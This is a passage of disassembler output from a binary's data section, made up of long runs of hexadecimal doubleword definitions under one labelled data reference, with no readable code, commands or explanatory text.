0B129A151h, 0E411F500h, 0EBC4531Ch, 722D471h, 30F05150h dd 0DECF43C4h, 0FD793FD9h, 36E56BBh, 0CD36194Ch, 9216514Fh dd 5939E365h, 0C8B86F02h, 0F82E9824h, 42A1397h, 0CB4BC0BCh dd 1AD3606h, 0D098D635h, 0AED41C55h, 0BB7D2950h, 0B00A8DADh dd 0BE135EFDh, 54398A87h, 1D547E89h, 2B019DBAh, 0CB9E2DD1h dd 20362400h, 0DB566941h, 0F6EAF280h, 0EA04C415h, 88154EACh dd 0FE18D261h, 0A7C0533Dh, 792AF268h, 3B6D0444h, 0A37C7B50h dd 0F8F4BB61h, 1CD66783h, 0DCDC8E35h, 92CAF5h, 8AAD838Bh dd 0E4D3C1B4h, 0E71D7985h, 89E4941Dh, 85922376h, 0EF062EDDh dd 0C7C9AE01h, 737C46F8h dd 3059F255h, 0F41A3211h, 0B7680DB7h, 0F2E6E5E9h, 26B16A54h dd 9844223Ch, 0D5EBBC39h, 8CBBE623h, 0BBDEB4E6h, 0E7221356h dd 0F00800BCh, 15FEB5C1h, 0FD3ED54Ah, 82EE32B2h, 59B1BEB9h dd 0C307DC44h, 60D654D3h, 0AC9F1D30h, 1AFDA8F8h, 4E81F03h dd 20397297h, 989DBEBDh, 0DCB4A07Ch, 2FF46C63h, 57D58B5h dd 359129FEh, 92F956C4h, 97695DEh, 2F993Ah, 88207B3Bh dd 0C5E32F22h, 95144BC3h, 9048A783h, 6AB2803Eh, 73EDE333h dd 0E8CC7D65h, 3C335895h, 5F9B8E3Fh, 0E159429Ch, 13C327B7h dd 8C3BA02Fh, 6DE59F2Eh, 0FB8C345Ah, 3B70682Dh, 6AFA69DFh dd 4EA7C69Fh, 26FD0C5Ch, 0A634E451h, 0A8340972h, 727E3999h dd 4561D999h, 13059F19h, 65126F0Ah, 0AF6DE227h, 8BDC5EE6h dd 39E07F56h, 0F01EAA40h, 4E9F86D8h, 0C070109Eh, 0B8854F8Dh dd 0D09052E1h, 0DEF488A8h, 0FBDE6Ch, 0D8D6B7A8h, 999FD4Fh dd 0E37A1976h, 40B71B39h, 0D63C21F7h, 0A2CD5FB0h, 13EF2083h dd 2AD65CF2h, 8DC3C2FBh, 2EB608A9h, 84625893h, 0D87D2EC0h dd 0B1F06793h, 0D109549Bh, 770C71C8h, 29942B69h, 3FC12D5Ch dd 681D0213h, 62B5151Ch, 9DBD5841h, 68DBB973h, 920E8ADDh dd 0E689965Ah, 800D1FD1h, 0CEAEE77h, 30C65EAh, 0B5130626h dd 0A9EBA4E6h, 0B6F0BC35h, 8E113226h, 4DFAB22Dh, 2BDB3CFDh dd 2A953478h, 84DE5FACh, 0C7322F23h, 2DCB199Eh, 1F27AC35h dd 0A4958673h, 0D2F1CF3Eh, 0E76B4422h, 814EF3D1h, 0B856CD02h dd 3264757Eh, 55F6F6F4h, 5F443EEAh, 6DAE9587h, 0B8316297h dd 26825A1Fh, 4D8997E9h, 1F8EFE0h, 5EB5A097h, 0BFC25067h dd 8EB752E5h, 0FB41F93Dh, 5A9E0CCBh, 161E6A0Ch, 971F0596h dd 50D535B4h, 2B0E1686h, 108822E0h, 1786EFFFh, 0C7C12682h dd 6152C815h, 42814B98h, 75F1D14Ah, 9B7EAAD5h, 0A9B8D46h dd 0B123A89Ah, 0E8348D7Ah, 0A530ED07h, 0D1CED8B7h, 5B9C4CCFh dd 8ECBDC3Ah, 0A3B58EF2h, 4C6655FCh, 6B3B7849h, 708DAEABh dd 82ABC007h, 7D2E500h, 449BAF2Ch, 0DFCFD79Dh, 0BD386DF7h dd 2A1750DEh, 6122D92Dh, 1820F946h, 5FBC1AAEh, 8BFE570Ch dd 113F5F79h, 367E2A8Ah, 0EFC5CDC1h, 0C16A969Ah, 496EF1EDh dd 8ECC904Fh, 0EBD08A6h, 7C59E9DDh, 78A44F59h, 59A8EF47h dd 8F9AE336h, 2F1F2BC3h, 0F3B601F4h, 0BD595625h, 34EFAB95h dd 3CF40627h, 1CEA9B2Bh, 8EC5EE64h, 8F6A8B3Eh, 0EA9664EFh dd 0E50B2DEFh, 9249B2B5h, 0DEBF1BFh, 62D2F573h, 1663AD4Eh dd 767985B0h, 93AB7485h, 90DDA9AAh, 0CC50DDFh, 0A80A2B2Eh dd 6A79F666h, 19760391h, 139E4354h, 92E31108h, 9C2FD2B0h dd 2E949234h, 92915526h, 86E0B50h, 92874E1Eh, 0F84A5BDFh dd 17B60A2Ah, 0D33A2C83h, 68EF43B1h, 13732CA4h, 5318D65h dd 0EACD6BF8h, 0A9DB3CC3h, 0A28C712Ah, 4F6E473h, 0DFBDBAE4h dd 85ABC7D9h, 0B6399065h, 348AE6BCh, 666DCBD7h, 4B543A97h dd 0C3FD0949h, 4DC726ACh, 94BE5EB4h, 3D5B3373h, 0EDF346B7h dd 0AAF1B142h, 4A91ABE9h, 604245C0h, 4813536Ch, 55D8BF94h dd 2C947721h, 0A88AF54Eh, 48A352E2h, 0B973429Dh, 60DBF885h dd 541C3841h, 47E7D907h, 14C550AFh, 9CE86552h, 0F5C7B71Fh dd 0CD8CD8FDh, 0E859E820h, 18B1DC63h, 4F029931h, 590BC07Ch dd 1F6DA8FDh, 8753726h, 0C87394AAh, 0FE5CE7B1h, 30A4BF2Dh dd 0FE73AF31h, 0F33250B3h, 0E9537FAFh, 0B08B3A0Ah, 9EE89FBh dd 59FFDCD9h, 35919D10h, 8EAA8F5Dh, 57B92E2Bh, 0B32B999Ch dd 78AA22BBh, 0A394BD12h, 828D9DE4h, 0C5E50150h, 6A9F7512h dd 90601634h, 0A1E839F2h, 4E956C46h, 7B26C7A6h, 33EB11D0h dd 0EC287313h, 1DCA0CE0h, 8D2B0924h, 9F9BFA85h, 82C4A24Ch dd 0FAA51071h, 5917AED1h, 0AB39BD59h, 8BBAE5B4h, 7EF1B930h dd 23963BF7h, 0BDD182D8h, 0A9A7ECD8h, 2A2FB68Eh, 3E2163EFh dd 44AB2F8Ah, 94DEFD9Dh, 96B636E1h, 0EFDA0718h, 39D086A9h dd 0C89E32B7h, 0B4D7A695h, 0D5B6C9A6h, 5537DC5Fh, 102C12B1h dd 17F7C252h, 5D43B832h, 0B2E3A3E8h, 33D35EFEh, 0F1DD25A3h dd 57EBBA6Dh, 0BE196A96h, 0A4747F1Eh, 0C5F91BFCh, 57661F8Bh dd 4292A121h, 0F17FD11Dh, 0FB18F71Bh, 0EC3DA6D4h, 7E088F2Eh dd 0C5C292FDh, 0D771C08Fh, 67D597F4h, 0F6CCA1FEh, 5980C38Ch dd 731E8B29h, 0E04AAF51h, 5754D962h, 39D81C8Dh, 433BE2C4h dd 708C6C02h, 0E61F695Dh, 7358F94Eh, 3B03D908h, 253DF38Ah dd 0C8D94054h, 0A59F7ECh, 0FD5F91B7h, 38D096B4h, 1DC7A823h dd 211BE77h, 0D4412C53h, 0CFEC18D4h, 5B837DF7h, 0BEEAA8A3h dd 5D8DB11Ch, 8EF397AAh, 0E2903424h, 0B44CFE97h, 0AB44E521h dd 0A3012415h, 0E4B051D6h, 0AD4CF04Bh, 0B1F87419h, 0DA983FD4h dd 96837786h, 76911CBEh, 0E446C0F7h, 0B140BB91h, 2F44049Fh dd 52E5A035h, 0E39085A1h, 5C038A82h, 0D8603D29h, 1A6B3384h dd 0FB8E92FBh, 56A64BBBh, 7B17804Eh, 6B34B2D8h, 0C71D2184h dd 7507A897h, 8A4F4C72h, 0F3EF7FC6h, 0CFC50671h, 6E424EFCh dd 4FB8DE02h, 6338E630h, 8BA1E596h, 39BCEF19h, 5DE57D21h dd 185313C9h, 0EDF8F119h, 0DE7C3E82h, 763F52D0h, 0EA466AF4h dd 52E4D930h, 2D8DA8CBh, 7DC3A374h, 1DD97AEDh, 62D45CF9h dd 7978417h, 0C2068C7h, 8289829Ch, 207F0F2h, 0D9D8D950h dd 70A55AF4h, 62B7726Fh, 9BB8CEDDh, 7D5C7E08h, 40382C9h dd 4B19311h, 83F5796Dh, 6AE797C9h, 83494835h, 0F587BA28h dd 0EBD2FB8Bh, 7CFDE566h, 0EA685E86h, 0CA632248h, 0B0DA26ADh dd 2737E004h, 0F1F2CFDEh, 1A6B7F42h, 6DC09468h, 0D895A7D3h dd 675BE22Eh, 0B1DECE93h, 0B4F27AB9h, 22D22DE4h, 0F812C59Bh dd 0A3AE698h, 5BCD9D2Bh, 0E61CDB61h, 8BAB5748h, 233F0819h dd 0DE7CB8A0h, 0C67350CAh, 23E5A399h, 0B58B7D01h, 62604D04h dd 93F94E5Ch, 0DE411220h, 0CF47DE89h, 0F96EE91Fh, 9B0B50F0h dd 47BBE590h, 0B9CEE084h, 159048C0h, 72A5F3FBh, 0EBC658BBh dd 67866449h, 2B5D971Bh, 0E1001379h, 0B63EF882h, 9EE77557h dd 0DCEA5FFCh, 67C75718h, 0CB7F6152h, 3F16CDBFh, 7C83309Bh dd 4E92EABAh, 61979757h, 0B4806659h, 91D2CE96h, 474FD10Bh dd 63ED78A4h, 131E0C5Fh, 9487B800h, 5A18F9F1h, 0DEAF84F3h dd 0A5221E66h, 0D243559Bh, 8BE6D66Ah, 935C73E3h, 6DE9CAE6h dd 96F71D14h, 0E59917CAh, 1EFF7DF4h, 83A39906h, 44081F3Ch dd 4D3CD3D9h, 4D041E5Ch, 0F172161Ah, 0F76E6BF4h, 0B7179264h dd 7705A0F4h, 9AC3C412h, 0F176AA61h, 0FE102D28h, 6CECA29h dd 0B9036E6h, 1DCC1CBBh, 6B5C6187h, 4551299Ah, 777D17BAh dd 46566F65h, 8DBF73C4h, 5F143D5Dh, 0EB772270h, 96DC45FDh dd 0AF336D12h, 0E5A3A169h, 2A5B7297h, 9D7BF4D8h, 2FC6DD76h dd 0C6D52F81h, 0A9875202h, 7B690832h, 0DEA4BDD8h, 3EE9A57Ah dd 7F6FB3F9h, 4F99502Ch, 35994BFh, 9B77C33Dh, 1F20694Bh dd 9476DB14h, 63D91CD1h, 0BFAB4C58h, 9154034Ch, 0DB5068C7h dd 9F7D7EE5h, 1E01A51Dh, 47E63974h, 0CB5B747Dh, 0AF34A8h dd 0D042547Dh, 25F778DEh, 7D7C8AD0h, 0A4A02E63h, 6862966Fh dd 0B159DA2h, 137220FFh, 2F8AA332h, 0D4240862h, 5BEE12A5h dd 0BA5C90F5h, 0DF816315h, 8356F8A1h, 490B0738h, 0D8DDB714h dd 0F97C8254h, 9831750Fh, 0A4B32B93h, 17C29C53h, 0ACBFAFF7h dd 25E763D4h, 40B3AC4Eh dd 13744893h, 7D0D4DDDh, 1B490218h, 72A6762Dh, 417363F5h dd 0ACDCA67Ah, 9D10BCF5h, 0CEDAB98Ah, 0D5F7BB43h, 1F265E55h dd 4A014B07h, 0D6A27C70h, 14C6BE27h, 6DB88676h, 0CA20BEF5h dd 0E0708BC9h, 0F4EC741h, 0E846B6D5h, 0D484C474h, 4F661469h dd 0ED9589B9h, 0F14F4576h, 0D15828DEh, 0B9D7E5E1h, 5A0E0757h dd 0D36AACEDh, 9A8EB833h, 0C4EA5B6Bh, 4A85D1A4h, 37233C93h dd 2779940Fh, 9F1792F3h, 514876D5h, 1534FDA8h, 0E9E38E4Dh dd 8F35E23Fh, 21CDE06Dh, 0C28C072Fh, 3206D2F2h, 0A40F9F4Ah dd 3C3A6AB3h, 0AF4DCF67h, 9AF5632Fh, 0AD47694h, 10A3E545h dd 9FD7FDD7h, 65D5943Eh, 2963BD06h, 7EC599ACh, 8390C816h dd 0AF6CFD64h, 0FCE5B86Dh, 15EC599Dh, 0EC5CF702h, 0DF5D7BDDh dd 70A3621Ch, 541E0F04h, 7D374194h, 5653C4EFh, 0E63C21F5h dd 9AECFEAFh, 0EB6C977h, 9BEE1B4Dh, 0D9651280h, 17898C8h dd 0F8B89144h, 0E0172742h, 8A9E6A3Ah, 7D45DD7Eh, 8DD9BF75h dd 94F8D101h, 6DBA4E2h, 0F5117126h, 25E8B115h, 0F426A571h dd 1F50A159h, 2C4F2FE9h, 0E02C595Dh, 0B08A06D6h, 0DA9F77EAh dd 5123F240h, 50FE4D0Dh, 0A3C3BB6Ch, 56E661F3h, 0B5130458h dd 2E7182BBh, 52C30C1Dh, 0BBBDC90Eh, 0F736E274h, 0C65004F6h dd 0BE5CBA83h, 0B1F17A61h, 2FB345Eh, 0CAE98139h, 0D82BBADBh dd 9E824685h, 858EE7BDh, 94A8CC84h, 3BC07844h, 43E90880h dd 0D8761DDEh, 0E786B00Ah, 0CDF9B9E8h, 0B3EE6AF5h, 1D1CD4B6h dd 50B9A5E4h, 2FDB7E11h, 0CC693B1Bh, 32301904h, 14DFEC2Eh dd 0B13983F5h, 0B9626491h, 0B10B0233h, 0A0332C52h, 0F2596A02h dd 4F6CE754h, 7C7AB14h, 1BA4D13Dh, 0A368DA62h, 0C77F24E7h dd 0FFE2AA94h, 967B8EBBh, 5D46C547h, 234CBF77h, 6419EE61h dd 1AF9EDDFh, 0F35A1460h, 0E788910Ch, 5D6A73Ch, 5D804584h dd 17E2A6B0h, 0F3551818h, 76ED9338h, 0D09E6296h, 0C6F26531h dd 7CB5E970h, 663D277Ch, 9DEBDBBBh, 0A2EC3424h, 0A7D70974h dd 141E2943h, 145E1C96h, 9323242Dh, 21990A3Dh, 5225B2CEh dd 0B7DF1931h, 66C6BC17h, 73E119CFh, 0F6DB64D9h, 87BE0B2h dd 6A52D09Eh, 52F148EEh, 0DFF0F25h, 0DBFE6C00h, 1F1807A5h dd 95CB8445h, 0A436087Bh, 31E25EAAh, 94B4922Dh, 1F04CAE2h dd 0E3E6645Eh, 31275B9Ch, 2C4D6EECh, 0DB6FC142h, 0C8B1C385h dd 0FFF4ED28h, 6669A59Ch, 1736EEBAh, 28928ECAh, 0CC97A23Fh dd 3972D5C6h, 92294B81h, 149C8657h, 0BB6CAE58h, 2DF27DDEh dd 0E73BE69Ch, 0B01F7Fh dword_43005C dd 334C892h, 4ABA823h, 0E7F022E1h, 1465585Fh, 3FDB1841h ; DATA XREF: .data:0041A720o dd 0C892C886h, 6EE2203Eh, 0B1C0BA9Ch, 0F5C53350h, 87DF85B6h dd 0E54E65EFh, 970378F5h, 41C827D7h, 3E26681Fh, 8FD15DA8h dd 9FC7689Eh, 0B093DE98h, 0E5B6062Fh, 76B8142Ch, 5FE82855h dd 3B73FF1Ch, 9603531Dh, 244D5071h, 11AE51B2h, 0B447A75Fh dd 687175C9h, 0B2E8E0C6h, 1CA3A521h, 0B49F5693h, 0FAD8C3BCh dd 269EE657h, 1AF1B57Dh, 0DCDC5A3Ch, 0FDD4F5ACh, 0E4B0A46Eh dd 242D8BFDh, 0FFABC931h, 97BB8187h, 22B86291h, 716E6C62h dd 28F8F3C3h, 5C933CE5h, 0FACBE7CEh, 5D9EF961h, 8E95DD00h dd 1DDE9E12h, 0C9893765h, 3403D1D5h, 59DE3C1h, 26250D8Fh dd 5861D0D9h, 6AD1CFF6h, 98C20B9Fh, 0A03CCFE4h, 7696A94Dh dd 258DADDBh, 0A9EA1373h, 881D9FE7h, 6551A5ACh, 886C5CE1h dd 5FD63860h, 4230B85Ah, 0BFEBDFBAh, 0EFFDA22Bh, 31400EB9h dd 0DBA21C60h, 0F36FE442h, 0CD5E00D8h, 0D2F5E58Ch, 674BD6Eh dd 0B4BD992Dh, 0E3B56DD6h, 7E501EADh, 0D18D4F15h, 6DA27DF3h dd 5314F975h, 6747874Bh, 1477E396h, 37BB43ADh, 20F46A01h dd 199A2AD3h, 9051EDA9h, 2CECD659h, 0D664B794h, 52F44F80h dd 86B1481Ch, 0A2A875BEh, 0DEA6FBBEh, 70EEABh, 0FED5033Ah dd 383A047Eh, 51F5630Eh, 19151304h, 569928D2h, 0CA26FDBCh dd 7638D1AEh, 0E0C0E5A7h, 4F53F6C9h, 874DFE31h, 554056BCh dd 55C94CAh, 0C7E8FBA9h, 9C3C9219h, 0A3A1DFA3h, 0B176E005h dd 226726D8h, 44577DADh, 59D69A54h, 0F3CC7D5Eh, 0AC5E36EDh dd 554A6B1Ah, 4EFF24DDh, 0A0DEF48h, 53A93F92h, 904445C7h dd 8D199145h, 0A29AE1FAh, 4B3AE478h, 0FA50DAB1h, 4BDD5EF0h dd 70D47C71h, 87EB699Ah, 11480604h, 0A99EA237h, 0C94E02AAh dd 10C7C2h, 477584FBh, 0DFA7020Bh, 4C2E3C04h, 0D79ED90Ch dd 0D001D348h, 59823D7Ch, 8A327B91h, 2B82773Bh, 0DF634D47h dd 7B8CECF8h, 19E8BB32h, 0E72B3A95h, 0C05F5C46h, 291DFBFDh dd 6B3825CBh, 2B585810h, 0EBDDC3FDh, 9030F4E8h, 0F9D21861h dd 78F4C07Bh, 7C3A1189h, 95EDB88h, 24D96AE7h, 50C7F656h dd 58A457F8h, 0EAD3675h, 8CC951F7h, 0BC4F58B5h, 6A4AEF79h dd 0B009D7C9h, 0B5A57E34h, 0C6CC07FEh, 0BDAE42B4h, 77CFBD02h dd 670064CCh, 54E59047h, 79D69147h, 39DC6F2h, 0D5758FFFh dd 41C270CBh, 20AC2DAFh, 0E372FBC4h, 36D7338Dh, 2721D452h dd 0A027854Bh, 77EB5051h, 7D2352FFh, 924459C8h, 7A9706A7h dd 67130297h, 7DE839DEh, 26CF3E8Bh, 0FBA58E1Fh, 0A174DF2h dd 6414DF84h, 0E0D9AC16h, 889213E8h, 50DAC039h, 56604C8Dh dd 0EC6D82B5h, 0FD50C0DEh, 9DB98F68h, 0CA67B32Dh, 0A6FC0985h dd 0CAA826B3h, 0B89DFD89h, 0A119BF2Dh, 82EBDA13h, 734C4C5Dh dd 2C0C9697h, 365E7D0Ah, 9A81386Ah, 0B2F6F607h, 19CDD7C7h dd 81EDDC2Ch, 0E8F35951h, 0F11609A5h, 0BDF1D231h, 0CB5B63B0h dd 63F3A88Ch, 0DA89972Ch, 16FE423Ah, 0F1427903h, 8DF4C8F9h dd 753860C9h, 1DE498E5h, 5CF0654Bh, 0E2E29FB5h, 0F393EF46h dd 69AE2907h, 0D58B8963h, 9A2C3F03h, 2A4F7B86h, 964056EAh dd 0E96E1DC3h, 0E5C8845Bh, 0BFAB26D8h, 55D4FEDEh, 3E18010Dh dd 1477B638h, 78F120DAh, 18B416B1h, 65FC3C7h, 8EC5F301h dd 0CF59B68Ch, 0C2526DBEh, 0A7C1CB69h, 945BFD45h, 8CE93E31h dd 293BB3BBh, 4351556h, 0FE4F6EF1h, 765A236Bh, 0A92F5676h dd 0B8EE33A0h, 2D77559h, 947B63B0h, 498FCE77h, 4C7CDB05h dd 0BD4221A9h, 43CF38DEh, 40B6626Dh, 672A7E64h, 358B2DD9h dd 2BB25B06h, 9371E1F0h, 3D255C92h, 34D61C89h, 0E548E8CAh dd 0A218FC17h, 399A26C4h, 0D67392E5h, 5A484746h, 0B9C7589Ch dd 5405D353h, 0C87835A5h, 0A0EC06B0h, 7FDEA842h, 0BBD20FE5h dd 5CF41723h, 0D0CB6730h, 874C5934h, 0F82614h, 3150F1C9h dd 0C24F23Ch, 0E3A19EB9h, 0AE612F13h, 3E1B82B7h, 7591340Bh dd 0F1E74B53h, 0BCDA73C5h, 0A2B748DCh, 286BFC9Eh, 7DA3CEA8h dd 55C8115Ah, 0AE5FC172h, 0EF701E6Bh, 2ED2951Ch, 0B45B455Bh dd 380EDA2Ch, 0D2252F1Dh, 0AAC7D2CDh, 0B8E637D3h, 72824C55h dd 0FA38859Fh, 0EAF6E7BFh, 0A76694E6h, 6786A25h, 0B2304CC8h dd 0D5B58CD5h, 0A721AA26h, 8CCBEE2Eh, 1D17A3DCh, 0E7F3D2B1h dd 0C4416FA6h, 26D47A74h, 8C5BEBB4h, 5A0783EAh, 47E2B9BAh dd 95BE4D9Bh, 3A16B9B4h, 0ADB07F58h, 0AF3F8A1h, 640BE07Ch dd 0CA70CACFh, 3D03C9B0h, 934CA3CAh, 59B1ECCCh, 0A93FB190h dd 138F833Dh, 0F299CB18h, 27DEE083h, 689B68EFh, 0FB23F55Eh dd 8A806A8Dh, 0F689CA55h, 698E9CD9h, 801A8358h, 54CC7538h dd 26DB22BDh, 0EBAF124Fh, 77F40054h, 9181C0Ch, 0FB0C8452h dd 67C9990Dh, 0B3593C99h, 95218A25h, 0F1932C10h, 4D927383h dd 7C6D5734h, 12F6D17Fh, 2ECD07E8h, 0D38369FCh, 0AC7C21E2h dd 2005635Fh, 0E217930Dh, 0D38CD10Bh, 0F3661743h, 9C66CD7Bh dd 18AA49F3h, 0BC7866CDh, 101CC4D2h, 0EAE7AD92h, 0BE83C39Ch dd 3929F1E3h, 2F0A2711h, 8B9D7B46h, 0D1A1BDBCh, 0F0EDADC3h dd 0DC2806D0h, 0DE59FF07h, 0A78D68B7h, 173CB854h, 41F29958h dd 0CD6F47A4h, 0E85FCFEh, 1F616F01h, 0F55B8F72h, 7F8A543Ch dd 5BA9C4B4h, 7818BA70h, 5476A383h, 31708C18h, 8B926E49h dd 0AA8E805Ah, 6D2101A7h, 915BC42Ch, 7F60DB2Dh, 893D607Bh dd 6759443Eh, 2928C6B6h, 2444E405h, 4F5EF2Ah, 165534DBh dd 88C79CF0h, 93C1B65h, 0DBA76B63h, 98F54171h, 4F07BAh dd 0DD8864BAh, 0E111C5F9h, 85C26F28h, 0F50645C9h, 6773FAC0h dd 91DB3E4Fh, 0D17662D1h, 0ECF5EE6Eh, 7E8D0763h, 31A52CE1h dd 60955C71h, 9DCD7284h, 0F2B541F7h, 0C94261BDh, 839E37F8h dd 0BB15D0Ch, 1D22D481h, 0FD7B9A61h, 0ABF2B51Ah, 5925D22Dh dd 0A2E5B4CDh, 847C1793h, 0F183EC57h, 0C99F6657h, 64A51B83h dd 0E386BACCh, 89185406h, 8DF99155h, 0D0ADA906h, 80602BFh dd 3907C12Dh, 91B2DCEh, 51E5554Ch, 0AE08283Fh, 22EBD507h dd 55D37BC1h, 7E81D05Bh, 0C5996AF5h, 75432423h, 12610266h dd 1B34041h, 49C6213Bh, 0BE8910C6h, 0BF6A3CCAh, 0C1A2CAEBh dd 6FB9476Dh, 0A3341D2Bh, 42E0E74Fh, 0B706940Ah, 0F1FB61Dh dd 3A09B986h, 0CD0CC3CCh, 0DB7904A2h, 1A2480E9h, 14DDF5D1h dd 3CA5B81Fh, 0E1592A4Eh, 74463E93h, 0ADE65CEEh, 90A345CEh dd 1D6E1E65h, 647831E6h, 0B36D1243h, 44493731h, 0DF21B61Ch dd 50F2D42Bh, 4975C156h, 4681768Fh, 0EF60C989h, 39A5622Ch dd 4A1BC18h, 4F5A81B1h, 19EF49C6h, 0A57F39EDh, 0F16682EBh dd 0DB202F40h, 2E6F614Ah, 0D5D72BE3h, 0F5140FBFh, 0A89AFB5Ah dd 916556DFh, 0CCDD9AB2h, 75CB796Dh, 3B887CE4h, 0F914A3F4h dd 0DEBEA566h, 1EF1390Eh, 4362386Dh, 425C00E1h, 4F9E29A3h dd 972BC767h, 0A65CD042h, 27F33BB2h, 0AC5A9FBh, 0F081AC32h dd 2EBFF5B3h, 8C854242h, 0C174F620h, 9630923Ch, 65C375FAh dd 27DB575Ch, 8BD318B4h, 0B7E9434Dh, 454EAB10h, 0C7B34323h dd 8DA7A42Ch, 0B56714DAh, 0C3D8A7A0h, 626F0764h, 0F99E5374h dd 0F83F067Dh, 0D02BFFFEh, 0E42683DEh, 0F3C3EB74h, 844536D5h dd 3CBA5B81h, 97133916h, 191D7DABh, 6B11B79Fh, 5DC69E91h dd 0FCA206CFh, 0CA79A206h, 12F35F21h, 0CF3A4FE0h, 41B8B7E7h dd 0C46E5935h, 8B87B15Ah dd 0DD59714Ch, 8D024F63h, 0B7C88DF1h, 0C21BD4B0h, 4012D867h dd 9EC83F4Ch, 2E9B3370h, 0E8AA7A96h, 2DCFA644h, 0B6F953ADh dd 1A08C52Ch, 9AF63730h, 0BDCED366h, 35CB658Fh, 0E8E5918Ch dd 0F3681A64h, 0E15B81ABh, 104AEC7Ah, 0D0300979h, 771DDB87h dd 54477E62h, 0AAABEC6h, 3ACEAD7Fh, 6399C85Ah, 6E0D771Dh dd 7A5D07D8h, 0E583449Bh, 0E4150E47h, 4C8622Bh, 0E06F212Bh dd 3CF79CA2h, 0BE50582Dh, 0DAD538AFh, 5DDC5C94h, 534CAD2Ch dd 0FD061CF8h, 57273C3Eh, 43FD5C14h, 5553E573h, 13E4F40Ch dd 0BAD6B0E7h, 0B4D7B6AFh, 0F2D7F71h, 71665EA4h, 5CD0A31Ch dd 0F2EC03BAh, 8B6964A5h, 4A64DBE7h, 0FB6C2704h, 4EB5391Fh dd 0A267F770h, 0B9747F20h, 0DF2B62F6h, 9008624Dh, 0B524A1A9h dd 681F22B6h, 0FE835314h, 0ACEB163Fh, 51539AE7h, 54DFE80Bh dd 0E2C6A221h, 0D771F6CBh, 0F130983Ch, 397B1EB2h, 0E00AADBCh dd 79AFC76Ah, 35014C01h, 99B23C63h, 0C65F5973h, 0D224AF33h dd 22417223h, 233C322Dh, 36B41C7Ah, 5364D242h, 0F6F5FDE2h dd 0EF160558h, 2AAAE841h, 1BA910BAh, 25A55F0Dh, 0A44DE02Dh dd 1B4E8136h, 764B5EA3h, 0B2AFAE4Eh, 0A9F499DFh, 0D0578860h dd 7B43D885h, 0FAFA25F8h, 69FC5FFh, 6F928125h, 0B946F540h dd 2F7DA731h, 9CF7143Bh, 0FECB1487h, 4D2DCE66h, 6345DB40h dd 9051ADCCh, 0D470C267h, 2FF52E23h, 0E300AB4Eh, 692C0BECh dd 0A4A973DBh, 8761C3B3h, 5D548208h, 880706B9h, 320A965Dh dd 8C0903C0h, 4FABA4F5h, 0EF024C42h, 13360493h, 78AB2973h dd 45334BDEh, 0B106CB45h, 47C346FEh, 0F3995020h, 0A4A1DF49h dd 2541C786h, 0A07E6507h, 0C3F8DD96h, 0DD4F69C9h, 0E32D92A5h dd 15F8EC37h, 0FDEE50F7h, 0FA0B0FDBh, 0BA97B4A8h, 3E5B33CEh dd 0C6C00E4Eh, 70D44759h, 0E9ECE22Ah, 3679ECB5h, 0F4221F01h dd 678FE1F7h, 3F83DA88h, 6E76DAE7h, 0DE84C837h, 50806BD8h dd 751FFBE1h, 122F3598h, 271A9B79h, 0E433ED22h, 0B07674A5h dd 0D416BB43h, 0CA9BD205h, 5B077A40h, 0B3347B0Ch, 599F158Bh dd 768D41D4h, 810A1CA8h, 6994093Eh, 2C537B3Dh, 0A49320A5h dd 979257BEh, 0BED6FABCh, 147EA7F0h, 1A56A0C8h, 0A341BEF1h dd 0E6EAAB9Eh, 0EDA3A773h, 924E008Fh, 91CAD0A3h, 85AFEFFAh dd 0B6763DEAh, 471FDD30h, 0B6100176h, 18C93F25h, 7BA26274h dd 6B64B12Ah, 27EC2D57h, 255737CBh, 0CDBFD4D9h, 0DCBEED06h dd 5177800Bh, 4D3F31F4h, 0C6F5BD00h, 59FBA752h, 3DE38819h dd 986BE7A8h, 2FAF6042h, 0D8860B05h, 1F8660FEh, 2700C655h dd 0D59E561Ch, 85FC89Eh, 75CA9F45h, 7FBF97C3h, 0D16039C0h dd 0FBDB5864h, 4D273C8Fh, 0BBB47525h, 0FE2C0B25h, 582F44E7h dd 0EB6F23F2h, 0C53E5BE3h, 98D13E38h, 6A747FA3h, 98962085h dd 52A06C95h, 704C15FFh, 16AFE31Ah, 1904138Ah, 0D7876FDEh dd 78A37A15h, 82108D2Eh, 2B2ED3Ch, 0D5587868h, 0BEE7159Eh dd 4361C9A3h, 21C8790Fh, 19A95B26h, 0CA6D5105h, 0ABD8FE91h dd 0B37AEBD4h, 9F9CA880h, 8088AF06h, 0A31F92F9h, 8DDC9ADDh dd 2E1C70F5h, 8FAB32E7h, 0D9B92179h, 0C1633EB1h, 804F3C20h dd 770BB2F7h, 0FDFB55A3h, 14C61B98h, 3C49CF7Bh, 4FE84D69h dd 428CAF4Ch, 309E4823h, 0F3B94A0h, 0EC1F3480h, 0B3D49CAFh dd 46445C4h, 0B0FCD656h, 0EBC7F727h, 43B98428h, 510A015Ch dd 27553B78h, 4CBEC627h, 0D31175C8h, 9C5FB2Bh, 2F288444h dd 0E9B61C4Bh, 0D9864EA5h, 95C4A214h, 7196D898h, 7343EF96h dd 1A10A8EDh, 8E57EF15h, 441F9A28h, 426BFC3Bh, 0D52F89EBh dd 3EC9B9C1h, 2311A0AAh, 46388C3h, 8A1FF6Ah, 51FE131Ch dd 0AEB88E2Eh, 0D194A372h, 6A887BB4h, 39C8BE2Ah, 881796A0h dd 697605E1h, 0A1703AC0h, 0E7AD551Bh, 3D9F735Bh, 98B63789h dd 334464DAh, 1835C1A3h, 0D55FF81Dh, 0F1A1E1EAh, 3F590CA0h dd 0F518A62Dh, 1A8C36F9h, 9EF6B2E8h, 0EAE6194Ch, 11A77A2Ah dd 6B3DE810h, 0EA839C9Ah, 98D7D6B5h, 0B63DE10Ch, 6638F4D3h dd 3E44C52Dh, 332D71Fh, 41220394h, 76536071h, 6414CBFEh dd 6546ECFCh, 0A8D0FA34h, 8BC1EB2Eh, 8F6B3088h, 254E8961h dd 0D42E4D19h, 0E5EE0945h, 3641690Ah, 53C2CBBCh, 1F78697Ch dd 0C1D76919h, 0BD19EF1h, 0AD0BA73Eh, 0E426550Eh, 6CDC67FFh dd 978C255h, 50F56061h, 0B14377A5h, 0A567283Fh, 0CCE5D847h dd 0E9420776h, 0B85656C3h, 0BA78FF24h, 12143C8Ch, 0ABB60BD5h dd 0CB6956B6h, 0C841D9C5h, 50A78DD9h, 0E6755C25h, 368A4907h dd 0DD31B25Ah, 0E569C09Dh, 0FC3B1B9Eh, 0BF090AE1h, 70C26DE4h dd 8B2EFFFFh, 0C9DB6481h, 4FB96685h, 3A5596D8h, 38180A2h dd 2D1B330h, 6073D4BCh, 525194BEh, 5E68F1FBh, 0BD9DEEEAh dd 4BD2873Bh, 